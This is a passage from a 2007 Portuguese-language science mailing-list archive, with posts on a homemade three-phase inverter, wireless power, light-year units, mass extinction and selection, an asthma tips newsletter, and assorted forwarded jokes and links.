patrão esteja, quer não, e ao homem que, ao lhe ser confiada uma carta
para Garcia, tranqüilamente toma a missiva, sem fazer perguntas
idiotas, sem a intenção oculta de jogá-la na primeira sarjeta que
encontrar, ou praticar qualquer outro gesto que não seja entregá-la ao
destinatário

Este homem nunca fica encostado, nem tem que se declarar em greve para
forçar um aumento de ordenado.

A civilização busca ansiosa por homens nestas condições. Tudo que tal
homem pedir conceder-se-á. Precisa-se dele em cada cidade, em cada
vila, em cada lugarejo, em cada escritório, em cada oficina, em cada
loja, fábrica ou venda.
O grito do mundo inteiro, praticamente, se resume nisso:

"Precisa-se e precisa-se com urgência, de um homem capaz de levar uma
mensagem a Garcia".

--- clip ---

----------

Meus agradecimentos ao amigo Milton Naranjo.

- c.a.t.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Sabedoria química
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO:
DATE: 09/06/2007 16:27

---------- Forwarded message ----------

Não misturarás metais alcalinos com água.

http://www.youtube.com/watch?v=m55kgyApYrY


SUBJECT: Os Três Porquinhos - Narrado por um pai engenheiro
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO:
DATE: 09/06/2007 18:56

Não sei se já passou por aqui...
-------------------------------------------------------------------

Os Três Porquinhos - Narrado por um pai engenheiro

O filho quer dormir e pede ao pai (engenheiro) para contar uma
história e ele conta a dos três Porquinhos.

Meu Filho, era uma vez três porquinhos ( P1, P2 e P3) e um Lobo Mau, por
definição, LM, que vivia os atormentando.

P1 era sabido e fazia Engenharia Elétrica e já era formado em Engenharia
Civil.

P2 era arquiteto e vivia em fúteis devaneios estéticos absolutamente
desprovidos de cálculos rigorosos.

P3 fazia Comunicação e Expressão Visual na ECA.

LM, na Escala Oficial da ABNT, para medição da Maldade (EOMM) era Mau
nível 8,75 (arredondando a partir da 3ª casa decimal para cima). LM
também era um mega investidor imobiliário sem escrúpulos e cobiçava a
propriedade que pertencia aos Pn (onde "n" é um número natural e varia
entre 1 e 3), visto que o terreno era de boa conformidade geológica e
configuração topográfica, localizado próximo a Granja Viana.

Mas nesse promissor perímetro P1 construiu uma casa de tijolos, sensata
e logicamente planejada, toda protegida e com mecanismos automáticos.

Já P2 montou uma casa de blocos articulados feitos de mogno que mais
parecia um castelo lego tresloucado.

Enquanto P3 planejou no Autocad e montou ele mesmo, com barbantes e
isopor como fundamentos, uma cabana de palha com teto solar, e achava
aquilo "o máximo".

Um dia, LM foi ate a propriedade dos suínos e disse, encontrando P3:-
"Uahahhahaha, corra, P3, porque vou gritar, e vou gritar e chamar o
Conselho de Engenharia Civil para denunciar sua casa de palha projetada
por um formando em Comunicação e Expressão Visual! "

Ao que P3 correu para sua amada cabana, mas quando chegou lá os fiscais
do Conselho já haviam posto tudo abaixo. Então P3 correu para a casa de P2.

Mas quando chegou lá, encontrou LM à porta, batendo com força e
gritando:- "Abra essa porta, P2, ou vou gritar, gritar e gritar e chamar
o Greenpeace, para denunciar que você usou madeira nobre de áreas
não-reflorestadas e areia de praia para misturar no cimento."

Antes que P2 alcançasse a porta, esta foi posta a baixo por uma multidão
ensandecida de ecos-chatos que invadiram o ambiente, vandalizaram tudo e
ocuparam os destroços, pixando e entoando palavras de ordem.

Ao que segue P3 e P2 correm para a casa de P1.Quando chegaram na casa de
P1, este os recebe, e os dois caem ofegantes na sala de entrada.

P1: O que houve?

P2: LM, lobo mau por definição, nível 8.75, destruiu nossas casas e
desapropriou os terrenos.

P3: Não temos para onde ir. E agora, que eu farei? Sou apenas um
formando em Comunicação e Expressão Visual!

Tum-tum-tum-tum-tuuummm!!!! (isto é somente uma simulação de batidas à
porta, meu filho! o som correto não é esse.)

LM: P1, abra essa porta e assine este contrato de transferência de posse
de imóvel, ou eu vou gritar e gritar e chamar os fiscais do Conselho de
Engenharia em cima de você!!!, e se for preciso até aquele tal de Confea

Como P1 não abria (apesar da insistência covarde do porco arquiteto e
do...do... comunicador e expressivo visual) LM chamou os fiscais, e
estes fizeram testes de robustez do projeto, inspeções sanitárias,
projeções geomorfológicas, exames de agentes físico-estressores,
cálculos com muitas integrais, matrizes, e geometria analítica avançada,
e nada acharam de errado. Então LM gritou e gritou pela segunda vez, e
veio o Greenpeace, mas todo o projeto e implementação da casa de P1 era
ecologicamente correta.

Cansado e esbaforido, o vilão lupino resolveu agir de forma irracional
(porém super-comum nos contos de fada): ele pessoalmente escalou a casa
de P1 pela parede, subiu ate a chaminé e resolveu entrar por esta, para
invadir.

Mas quando ele pulou para dentro da chaminé, um dispositivo mecatrônico
instalado por P1 captou sua presença por um sensor térmico e ativou uma
catapulta que impulsionou com uma força de 33.300 N (Newtons) LM para cima.

Este subiu aos céus, numa trajetória parabólica estreita, alcançando o
ápice, onde sua velocidade chegou a zero, a 200 metros do chão.

Agora, meu filho, antes que você pegue num repousar gostoso e o Papai te
cubra com este edredom macio e quente, admitindo que a gravidade vale
9,8 m/s² e que um lobo adulto médio pese 60 kg, calcule:

a) o deslocamento no eixo "x", tomando como referencial a chaminé.

b) a velocidade de queda de LM quando este tocou o chão e

c) o susto que o Lobo Mau tomou, num gráfico lógico que varia do 0
(repouso) ao 9 (ataque histérico).


SUBJECT: RE: [ciencialist] Inversor trifásico mínimo
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br, tipoalgo@gmail.com
DATE: 09/06/2007 22:42

Tipo,
blz?
Não entendo grandes coisas, apesar de já ter visto muitos circuítos.
Minha preocupação era sempre o dimensioamento dos conjuntos e dissipadores (
stacks ).
Se não me engano, os moss, ou igbt, ou scr, na inversão, podem, ou devem,
trabalhar com um diodo retificador em anti-paralelo ( de igual capacidade de
corrente e tensão ).
Também sei que esses diodos devem ser fast-switching, para entrarem e saírem
muito rapidamente do estado de condução antes de qualquer dano aos
componentes acima, todos com circuítos muito similares. Os diodos servem
também para aliviar a tensão reversa sobre os comp. que comutam.
Me parece que a indução da carga também ''pede'' alta capacitância e já ví
capacitores serem simulados com barramentos de alta área, fixados e
isolados, bem perto um do outro.
Dê uma olhada nos sites da Semikron Brasil e/ou Alemanha, pq tem muita coisa
lá.
A ''IR'' e a Elpec também devem ter muita coisa.
Se não me engano, há algumas semanas, vc falou em transformar motores
trifásicos em GERADORES!
Foi isso mesmo, ou entendí mal? Isso é coisa altamente interessante!!!
Parabens e boa sorte! M. SP 09/junh07


>From: "Tipoalgo" <tipoalgo@gmail.com>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] Inversor trifásico mínimo
>Date: Fri, 08 Jun 2007 19:55:55 -0000
>
>Olá a todos!
>
>Hoje pude testar duas versões do inversor trifásico mínimo que já
>havia desenhado.
>
>Vou fazer o upload para a área de arquivos do grupo, pois as versões
>tiveram avanços.
>
>A versão 1.1 implementa o conceito de se alimentar as 3 bobinas
>simultaneamente (acrescentando-se 6 diodos sobre a configuração
>anterior). Nos testes práticos verifiquei um aquecimento nos MOSFETs
>que se ligam ao negativo, principalmente quando a tensão de
>alimentação está caindo (devido a perda de carga da bateria). Corrigi
>no desenho as tensões dos capacitores do dobrador de tensão: estou
>usando capacitores de 16V e não de 25V (tenho que avaliar melhor isto
>para ver se não tem problema).
>
>A versão 1.2 também alimenta as 3 bobinas simultaneamente, reduz a
>quantidade de diodos e corrige a polarização nos MOFETs que se ligam
>ao negativo (evitando o aquecimento).
>
>A corrente AC por fase, com a alimentação das 3 bobinas
>simultaneamente e com o aumento da bitola do fio de alimentação,
>passou dos 18A para 30A. Isto representa um aumento significativo na
>potência total.
>
>Tenho que melhorar o sensor de velocidade, pois percebi que ao cair a
>tensão de alimentação a freqüência aumenta, gerando uma leitura
>errônea. Estou pensando em usar um zener para estabilizar a tensão de
>alimentação do sensor hall.
>
>Ainda que a leitura da velocidade não fosse precisa, pude perceber que
>o chaveamento na versão 1.2 ocorre em melhores condições que nas
>versões anteriores. Mesmo com a queda da tensão de alimentação os
>MOSFETs não aquecem.
>
>Próximas ações:
>1 – implementar o conceito de PWM para evitar a perda fácil de
>sincronismo ao se variar a carga;
>2 – Usar as portas lógicas ociosas do 4093.
>
>Abraços
>Tipoalgo
>
>
>
>
>##### ##### #####
>
>Página de apoio
>http://www.ciencialist.com
>
>
>##### ##### ##### #####
>Links do Yahoo! Grupos
>
>




SUBJECT: Cientistas transmitem eletricidade sem fios - Agência JB
FROM: Rafael <rafael.cravo@gmail.com>
TO:
DATE: 10/06/2007 01:41

Cientistas transmitem eletricidade sem fios

Agência JB




WASHINGTON - Um futuro livre do emaranhado de fios e cabos necessários
para ligar aparelhos eletrônicos parece estar mais próximo. Cientistas
americanos conseguiram transmitir com sucesso eletricidade entre dois
aparelhos sem o uso de cabos ou fios.


No experimento, realizado por pesquisadores do Massachusetts Institute
of Technology (MIT) e relatado na revista científica 'Science', foi
acesa uma lâmpada de 60W localizada a dois metros de distância da
fonte de energia.


Segundo os cientistas, essa tecnologia, chamada de 'WiTricity' em
inglês (ou eletricidade sem fio, em tradução livre), se vale de
elementos básicos da física e pode ser usada em outros aparelhos, como
laptops.


- Não há nada nessa tecnologia que impedisse que fosse inventada 10 ou
20 anos atrás - afirmou o professor John Pendry, do Imperial College
London, que assistiu aos testes.


O professor Moti Segev, do Israel Institute of Technology, considerou
o experimento "realmente pioneiro". A equipe de cientistas já havia
desenvolvido uma teoria a respeito dessa tecnologia em 2006, mas esta
foi a primeira vez que foram feitos experimentos.


O sistema funciona criando um campo magnético entre duas bobinas de
cobre, uma na fonte de energia e outra no aparelho eletrônico (a
lâmpada, no caso do experimento). A lâmpada foi acesa mesmo quando
foram colocados objetos entre ela e a fonte de energia.


Segundo os pesquisadores, o sistema se utiliza do princípio da
ressonância, que faz com que um objeto vibre com a energia de uma
determinada freqüência.


Quando dois objetos têm a mesma ressonância eles trocam energia sem
afetar os outros objetos ao redor. No experimento, foi explorada a
ressonância de ondas eletromagéticas de baixíssima freqüência.


De acordo com o professor Pendry, o uso de ondas eletromagnéticas de
baixa freqüência também garante a segurança do sistema, que não
apresenta riscos significativos à saúde humana.


Os cientistas chegaram a se posicionar entre a fonte de energia e a
lâmpada para provar que era seguro, apesa de ainda não se ter estudos
sobre possíveis efeitos de longo prazo.


http://jbonline.terra.com.br/extra/2007/06/08/e080617057.html


SUBJECT: Re: Espaço-de-tempo?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/06/2007 01:49

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- Ok, se não tivesse atrito, o carro permeceria em
> velocidade constante de 100 km/h sem precisar gastar
> gasolina, é isto?

Sim. (Verdade que tb não seria capaz de atingir os 100 km/h a partir
do repouso.)

> Ele atingiria a velocidade de 100 km/h, digamos, com a combustão de
> 1 litros de gasolina, e depois que a atingisse poderia desligar o
> motor que seguiria constantemente nesta velocidade, é
> isto?

Sim. (Mas na verdade gasta bem menos do q 1 litro de gasolina.)

> que um carro-luz uma pra atingir a velocidade da luz?

Nada. A luz não é acelerada do repouso até a velocidade da luz - na
verdade nada conhecido pode ser acelerado de uma velocidade subluminal
até a velocidade da luz. A luz - no vácuo - tem sempre velocidade
igual à da luz - não pode ser nem mm desacelerada.

> Ferrari >>> Pra medir a distancia em centimetros entre
> dois pontos numa folha de papel posso usar uma régua.
> Se quiser medir estes mesmos dois pontos no papel em
> anos-luz, como seria o processo de medição?

Simples regra de conversão de unidades - pode ser aplicada a regra de
três.

1 ano-luz - 946.073.047.258.080.000 cm
x ano-luz - n cm

> --- Takata, lendo o que vc disse ai, está me parecendo
> que não se tem uma forma (fisica e direta) de se medir
> distância em anos-luz, é isto? Esta grandeza
> (velocidade da luz) é um indice matemático (abstrata)
> e só surge da relação matemática entre outras duas
> grandeza, a grandeza que foi medido com o rélogio em
> relação a grandeza que foi medida com a régua, é isto?

Pra fazer uma medida direta de uma grandeza como ano-luz vc precisaria
de uma régua de tamanho absurdamente grande.

[]s,

Roberto Takata



SUBJECT: Re: A resposta: E= 2,75536 X10^(-11) Joules
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/06/2007 01:51

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- Takata, e o que é viver senão ficar enrolando pra
> morrer. Tá com pressa do que? Aproveita a viagem!

Outra oportunidade perdida de mostrar q vc sabe resolver o problema.

> --- Takata, vamos simplificar. Vamos pegar uma folha
> de papel, fazemos um risco no meio. A folha está
> dividida? Sim e não. Como sim e não. Depende da visão
> que vc usar pra definir. Se vc considerar a imagem,
> então está dividida, tem duas metades, mas se vc
> considerar o papel, não está, é o mesmo papel.
> Analogamente, é assim que a matéria é indivizivel e
> dividida ao mesmo tempo. De fato, é indivisivel. Mas
> como não conhecemos a realidade de fato, mas só de
> mapa, então, a matéria sempre será dividida, mesmo
> nunca sendo, entende? É simples, e duvido que vc nunca
> tenha considerado isto.

Não sei de onde vc tirou q a matéria é de fato indivisível...

[]s,

Roberto Takata



SUBJECT: Re: Inversor trifásico mínimo
FROM: "Tipoalgo" <tipoalgo@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/06/2007 06:59

Olá Murilo e a todos!

> blz?

Beleza, e com você?

> Não entendo grandes coisas, apesar de já ter visto muitos circuítos.
> Minha preocupação era sempre o dimensioamento dos conjuntos e
dissipadores (
> stacks ).

Eu estou usando o MOSFET IRFZ44. Ele pode conduzir até 49A e suporta
até 55V de tensão entre dreno e fonte. A sua resistência na condução
máxima é baixíssima, 0,017 ohms. Logo a sua potência dissipada em
plena condução é 40W (R.I.I=0,017.49.49=40W). Para reduzir ainda mais
essa resistência de condução eu coloquei, 4 MOSFETs em paralelo,
montados num dissipador de CPU de computador, Ou seja, posso conduzir
até 49 x 4 = 196A em cada fase. Como não estou usando ainda essa
corrente toda, eles trabalham com bastante folga e não esquentam.
Estou trabalhando com 30A AC por fase.


> Se não me engano, os moss, ou igbt, ou scr, na inversão, podem, ou
devem,
> trabalhar com um diodo retificador em anti-paralelo ( de igual
capacidade de
> corrente e tensão ).
> Também sei que esses diodos devem ser fast-switching, para entrarem
e saírem
> muito rapidamente do estado de condução antes de qualquer dano aos
> componentes acima, todos com circuítos muito similares. Os diodos
servem
> também para aliviar a tensão reversa sobre os comp. que comutam.

Os IRFZ44 já possuem esse diodo internamente.


> Me parece que a indução da carga também ''pede'' alta capacitância e
já ví
> capacitores serem simulados com barramentos de alta área, fixados e
> isolados, bem perto um do outro.
> Dê uma olhada nos sites da Semikron Brasil e/ou Alemanha, pq tem
muita coisa
> lá.
> A ''IR'' e a Elpec também devem ter muita coisa.

Essa alta capacitância, se estou certo, deve ser para corrigir o fator
de potência. Evitando-se perdas para vencer a componente reativa.
Ainda não tinha pensado nem lido sobre isto. Vou consultar os sites
que você indicou.


> Se não me engano, há algumas semanas, vc falou em transformar motores
> trifásicos em GERADORES!
> Foi isso mesmo, ou entendí mal? Isso é coisa altamente interessante!!!

Já li sobre a experiência do eng. Fendel (www.fendel.com.br). Ele
disse que um motor de indução assíncrono alimentado normalmente e
forçado a girar acima da sua velocidade máxima transforma-se em
gerador, ou seja, o "relógio" passa a girar ao contrário. Ele disse
que usa esse sistema clandestinamente numa microhidroelétrica na sua
fazenda a muito anos. Por isso ele defende com muito entusiasmo a
Enerede, onde os pequenos produtores de eletricidade fariam parte da
rede de transmissão, sem as burocracias que inviabilizam o negócio.


> Parabens e boa sorte! M. SP 09/junh07

Obrigado Murilo, você salvou o meu entusiasmo neste assunto neste
grupo. Acho que eletrônica não é bem a praia dos companheiros do
grupo. O problema é que no grupo Eletrônicabr o pessoal também, como
você uma vez disse, não deram "nem um peidinho"! Acho que a culpa é
minha por não ter feito nenhuma pergunta.

Valeu!
Tipoalgo



SUBJECT: DONG ZHI E A ASMA
FROM: Alessandro Loiola <alessandroloiola@yahoo.com.br>
TO: alessandroloiola@yahoo.com.br
DATE: 10/06/2007 11:14

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DR. ALESSANDRO LOIOLA – SAÚDE PARA TODOS - 10/06/2007 - No.051

http://br.groups.yahoo.com/group/saudeparatodos
© Dr. Alessandro Loiola - mailto: alessandroloiola@yahoo.com.br

Convide seus amigos para uma dose diária de saúde (assinar ou cancelar no final).

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Olá
Esta semana, fui contatado pela Natália Marques do Guia da Semana de São Paulo, para dar alguma contribuição para uma matéria sobre saúde da criança e tratamentos naturais. Você pode conferir o resultado (e a matéria) em http://www.guiadasemana.com.br/noticias.asp?/CRIANCAS/SAO_PAULO/&a=1&ID=12&cd_news=27317&cd_city=1

No domingo à noite, participei do Programa Dedo de Prosa (www.programadedodeprosa.com.br), na Rádio América, falando sobre Gripe e Resfriado.

E como eu acho que você possivelmente perdeu tudo isso e passou o feriado aí, só debaixo dos cobertores para espantar o inverno que já se avizinha, vou dar uma colher de chá e lhe enviar oportunamente algumas dicas valiosas sobre Bronquite e Asma.

Espero que sejam úteis!

Boa leitura e nos vemos adiante,


Dr. Alessandro Loiola.

___________________________________________________________________


DONG ZHI e a Asma
© Dr. Alessandro Loiola



O Dong Zhi é um dos feriados mais importantes da cultura Chinesa, perdendo apenas para o Ano Novo. Ele marca o momento em que a Terra está no ponto de sua órbita mais afastado do sol, ocorrendo em 21 de dezembro no hemisfério norte e entre 21 e 22 de junho no hemisfério sul. Não por coincidência, o Dong Zhi – ou Solstício do Inverno - marca a chegada da estação mais fria do ano em ambos hemisférios.

Os profissionais da área biomédica também celebram a aproximação do Dong Zhi, mas à sua maneira. Neste período do ano, decoramos os consultórios como Oráculos de Asclépio e esperamos as levas de peregrinos que chegam entoando um mantra bastante típico: o Sibilus Asmaticus. Afinal, nada como mais um bom e velho inverno para lembrar “Ei, e aquela sua bronquite, hein...?”.

O termo Asma deriva de uma palavra grega que significa “arfante”, denotando a genialidade do anônimo que batizou a doença. Atualmente, a Asma afeta cerca de 10% da população mundial.

A Asma possui causas complexas e variadas. A maioria dos asmáticos é alérgica, mas nem todas as pessoas alérgicas possuem asma. Além disso, para complicar, os processos alérgicos não conseguem explicar todos os casos de asma. Provavelmente, a asma resulta da interação entre susceptibilidade genética e fatores ambientais.

Os principais gatilhos que podem desencadear as crises incluem exposição a alérgenos no ambiente, baixas temperaturas e estresse, mas as crises também podem estar relacionadas a estresse, emoções fortes, exercícios físicos, refluxo gastroesofágico e certos alimentos e medicamentos.

Para lidar melhor com a Asma, coloque as seguintes orientações bem próximas ao seu calendário antes do Dong Zhi:

- Evite contato com pólen, mofo e animais de pêlo (incluindo bichos de pelúcia e o Tony Ramos).

- Ácaros e baratas são alérgenos comuns que podem causar crises graves de Asma. Limpar a casa com pano úmido, encapar colchões e travesseiros com tecidos impermeáveis, e livrar-se de tapetes e carpetes são medidas simples para diminuir a concentração destes contaminantes.

- Fuja de poluentes ambientais como cigarro, produtos de limpeza com cheiro forte e descargas de automóveis. Uma boa dica neste sentido é mudar de planeta.

- Se possível, diminua o consumo de alimentos contendo glutamato monossódico (encontrado em sopas em lata e certos queijos) e sulfetos (utilizado como conservante em certos vinhos e alimentos industrializados). “Nada de queijos e vinhos??”, você irá perguntar, constatando que eu acabei de detonar seus planos para o restante do inverno.

- Veja com seu médico se a sua asma pode ser causada por exercícios. Mas atenção: não use isso como desculpa para ficar em casa se enchendo de capuccino e biscoitos de chocolate.

- Devido às alterações nos níveis hormonais, 30 a 40% das mulheres apresentam mais crises de asma alguns dias antes e durante a menstruação. Os anticoncepcionais orais podem ajudar nestes casos, nivelando as flutuações hormonais. Curiosamente, a Terapia de Reposição Hormonal na menopausa parece aumentar o risco de asma.

- Na gravidez, um terço das mulheres asmáticas apresentam piora das crises, um terço sofre menos e o outro terço não observa alterações na gravidade dos ataques. Felizmente, as medicações habituais contra asma parecem seguras para uso até mesmo em gestantes.

- Finalmente, uma em cada 3 pessoas asmáticas possui familiares com o mesmo problema. Como os fatores genéticos parecem ser mais importantes que os fatores ambientais nestas famílias, converse anda hoje com seus pais sobre a possibilidade de você trocar todos os seus genes.


---
Dr. Alessandro Loiola é médico, escritor, palestrante, autor de “Vida e Saúde da Criança” e “Crianças em forma: saúde na balança” (http://shoppinglivros.com.br/loja.phtml?f=1&ccat=60&cprod=1300&sess=a75e095792e3f17a7c802ddb1cb2e117). Atualmente reside e clinica em Belo Horizonte, Minas Gerais.

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Seleção de grupos
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/06/2007 13:54

Olá, Takata.

> A extinção em massa catastrófica não é um bom exemplo de seleção

Pode não ser um bom exemplo de seleção, mas ainda assim é um exemplo
de seleção.

> No caso específico da extinção K-T, os grupos extintos não
apresentam
> nenhuma característica óbvia q compartilhem e q os distingam dos
> grupos q sobreviveram.

Deviam apresentar. Se não uma, algumas características que fizeram
todos os grupos de dinossauros, com exceção da linhagem das aves, se
extinguirem, enquanto os mamíferos conseguiram sobreviver. Imagino
até que deve haver especulações quanto a isso. O fato de não serem
endotérmicos, talvez.

> E mm q se se tratasse de seleção, não iria se configurar
> necessariamente em seleção de grupo.

Não é aquele tipo de seleção de grupo que você falou, de
características selecionadas que são boas para o grupo, mas não para
os indivíduos, o que seria uma seleção mais dentro dos padrões
normais. Mas você não pode dizer que extinção em massa catastrófica
não seja um tipo de seleção, mesmo que seja bastante singular e raro.
Os selecionados ali foram os mamíferos, que herdaram o mundo dos
dinossauros, abrindo caminho para seu desenvolvimento.

Saudações,
João de Carvalho




SUBJECT: Google Maps 360
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: "Vivens Scientia" <VivensScientia@yahoogroups.com>, ciencialist@yahoogrupos.com.br
DATE: 10/06/2007 15:45

Impresssionante esta nova ferramenta do GoogleEarth
E.

---------- Forwarded message ----------
E, pra quem gosta do David Letterman, aqui está a delicatessen "Hello
Deli" de Rupert Jee, logo ao lado da entrada para o teatro Ed Sullivan
da CBS, perto da esquina de 53 com Broadway.

http://tinyurl.com/ypf7f3

----- Original Message -----
O GoogleMaps está com uma novidade bem interessante: uma parada
chamada Street View. Este recurso permite uma pessoa ver, com
liberdade de 360º, um ponto no mapa como se estivesse lá!

O recurso está, inicialmente, disponível nas cidade de São Francisco,
Nova York, Las Vegas, Denver e Miami. A nova ferramenta já levantou
mais discussões sobre segurança e invasão de privacidade... já existem
relatos de gente vendo carros estacionados em locais proibidos e
homens casados saindo de strip clubs... outras pessoas estão
aproveitando para tentar ver pela janela de casas e apartamentos de
famosos!

Olhei e é incrível! Como os malucos conseguiram tirar tantas fotos? De
satélite que não foi...

Um exemplo com o bonequinho em Times Square NY, basta movê-lo para um
local perto de onde ele já está no mapa e ver a vizinhança...

http://maps.google.com/maps?f=q&hl=en&q=Times+Sq+42nd+Station&sll=40.755501,-73.98649&sspn=0.009736,0.023518&ie=UTF8&ll=40.761545,-73.986354&spn=0.009735,0.023518&t=h&z=16&om=1&layer=c&cbll=40.757749,-73.985646&cbp=1,46.574035369775,0.5,0

---------------------

E aqui, o segredo: o dispositivo e o veículo que tornam estes mapas possíveis
http://www.boingboing.net/2007/05/31/google_maps_zoom_her.html

--


SUBJECT: Re: Seleção de grupos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/06/2007 17:20

--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
> > A extinção em massa catastrófica não é um bom exemplo de seleção
>
> Pode não ser um bom exemplo de seleção, mas ainda assim é um exemplo
> de seleção.

Provavelmente não é um exemplo de seleção tampouco.

> Deviam apresentar.

Deveriam *se* se desse uma extinção seletiva. Tto qto sabemos não é o
caso.

> O fato de não serem endotérmicos, talvez.

O q não explica a sobrevivência das tartarugas, crocodilos, insetos,
etc, etc. Há até um grupo grande de paleontólogos q imaginam q pelo
menos os terópodos fossem endotérmicos.

> Mas você não pode dizer que extinção em massa catastrófica
> não seja um tipo de seleção, mesmo que seja bastante singular e
> raro.

Poder pode. Não se pode é ter certeza. As extinções em massa dessa
natureza parecem ser mais um exemplo de deriva do q de seleção.

[]s,

Roberto Takata



SUBJECT: RE: [ciencialist] Re: Inversor trifásico mínimo
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br, tipoalgo@gmail.com
DATE: 10/06/2007 18:42

Fala, Tipo...
certim?
Só tenho boa vontade e muita flatulência...:)
Admiro o seu esforço!
É bom que vc saiba que os inversores atualmente são coisas relativamente bem
resolvidas para variação de frequência PWM ( velocidade ).
Trabalhei com um de 1,5kVA fabricado na Itália, usando igbt, e achei muito
legal.
Dá até p/vc parametrizar saídas analógicas auxiliares, dá p/controlar as
rampas de partida e frenagem... estável, rápido, conserva a memória de
ajuste anterior, coisa fina mesmo!
Se vc for ao site da Weg vc irá ver coisas iguais, ou até melhores. Não são
caros, dependendo da aplicação.
Inclusive dá p/ver que a teimosia do Edison - GE - contra o Tesla era mesmo
uma falácia, uma furada total!
A conversão DC/CA ( em qualquer frequência ), e/ou de DC/DC para tensões
maiores ou menores, até hoje é algo forçado e não exatamente simples. Quem
gostou da briga entre os dois foi o Mr. Westinghouse que acolheu o gênio
Tesla e a sua energia CA 60Hz.
Sobre eletrônica eu aprendí o seguinte ( igual na mecânica ): há muita
preguiça, muita conversa, ninguém sabe tudo e os grandes fodões estão todos
muito ocupados aprendendo...:)
Depois vou dar 1 olhada no site q/vc indicou. Me interessa muito!
obrigado, abraço. M. SP 10/junh07


>From: "Tipoalgo" <tipoalgo@gmail.com>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] Re: Inversor trifásico mínimo
>Date: Sun, 10 Jun 2007 09:59:45 -0000
>
>Olá Murilo e a todos!
>
> > blz?
>
>Beleza, e com você?
>
> > Não entendo grandes coisas, apesar de já ter visto muitos circuítos.
> > Minha preocupação era sempre o dimensioamento dos conjuntos e
>dissipadores (
> > stacks ).
>
>Eu estou usando o MOSFET IRFZ44. Ele pode conduzir até 49A e suporta
>até 55V de tensão entre dreno e fonte. A sua resistência na condução
>máxima é baixíssima, 0,017 ohms. Logo a sua potência dissipada em
>plena condução é 40W (R.I.I=0,017.49.49=40W). Para reduzir ainda mais
>essa resistência de condução eu coloquei, 4 MOSFETs em paralelo,
>montados num dissipador de CPU de computador, Ou seja, posso conduzir
>até 49 x 4 = 196A em cada fase. Como não estou usando ainda essa
>corrente toda, eles trabalham com bastante folga e não esquentam.
>Estou trabalhando com 30A AC por fase.
>
>
> > Se não me engano, os moss, ou igbt, ou scr, na inversão, podem, ou
>devem,
> > trabalhar com um diodo retificador em anti-paralelo ( de igual
>capacidade de
> > corrente e tensão ).
> > Também sei que esses diodos devem ser fast-switching, para entrarem
>e saírem
> > muito rapidamente do estado de condução antes de qualquer dano aos
> > componentes acima, todos com circuítos muito similares. Os diodos
>servem
> > também para aliviar a tensão reversa sobre os comp. que comutam.
>
>Os IRFZ44 já possuem esse diodo internamente.
>
>
> > Me parece que a indução da carga também ''pede'' alta capacitância e
>já ví
> > capacitores serem simulados com barramentos de alta área, fixados e
> > isolados, bem perto um do outro.
> > Dê uma olhada nos sites da Semikron Brasil e/ou Alemanha, pq tem
>muita coisa
> > lá.
> > A ''IR'' e a Elpec também devem ter muita coisa.
>
>Essa alta capacitância, se estou certo, deve ser para corrigir o fator
>de potência. Evitando-se perdas para vencer a componente reativa.
>Ainda não tinha pensado nem lido sobre isto. Vou consultar os sites
>que você indicou.
>
>
> > Se não me engano, há algumas semanas, vc falou em transformar motores
> > trifásicos em GERADORES!
> > Foi isso mesmo, ou entendí mal? Isso é coisa altamente interessante!!!
>
>Já li sobre a experiência do eng. Fendel (www.fendel.com.br). Ele
>disse que um motor de indução assíncrono alimentado normalmente e
>forçado a girar acima da sua velocidade máxima transforma-se em
>gerador, ou seja, o "relógio" passa a girar ao contrário. Ele disse
>que usa esse sistema clandestinamente numa microhidroelétrica na sua
>fazenda a muito anos. Por isso ele defende com muito entusiasmo a
>Enerede, onde os pequenos produtores de eletricidade fariam parte da
>rede de transmissão, sem as burocracias que inviabilizam o negócio.
>
>
> > Parabens e boa sorte! M. SP 09/junh07
>
>Obrigado Murilo, você salvou o meu entusiasmo neste assunto neste
>grupo. Acho que eletrônica não é bem a praia dos companheiros do
>grupo. O problema é que no grupo Eletrônicabr o pessoal também, como
>você uma vez disse, não deram "nem um peidinho"! Acho que a culpa é
>minha por não ter feito nenhuma pergunta.
>
>Valeu!
>Tipoalgo
>
>
>
>##### ##### #####
>
>Página de apoio
>http://www.ciencialist.com
>
>
>##### ##### ##### #####
>Links do Yahoo! Grupos
>
>




SUBJECT: RES: [ciencialist] Re: Inversor trifásico mínimo
FROM: "Tipoalgo" <tipoalgo@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/06/2007 19:05

Olá Victor!

Obrigado pelo incentivo!

Acho que estou ficando mais sentimental, sinal de quem está avançando
na idade, completei em maio 41 anos. Consegui entrar na segunda metade
do tempo que possivelmente ainda tenho, segundo alguém que não sei quem.

Hoje percebi mais uma possível aplicação para o inversor trifásico
mínimo, quando este estiver adaptado para trabalhar com 110V e/ou
220V: um motor trifásico poderá ser alimentado por uma rede monofásica
sem a necessidade de capacitor, com controle de velocidade e a um
custo mínimo.

Valeu!
Tipoalgo





SUBJECT: Re: Seleção de grupos
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/06/2007 20:24

Olá João

João: "Não é aquele tipo de seleção de grupo que você falou, de
características selecionadas que são boas para o grupo, mas não para
os indivíduos, o que seria uma seleção mais dentro dos padrões
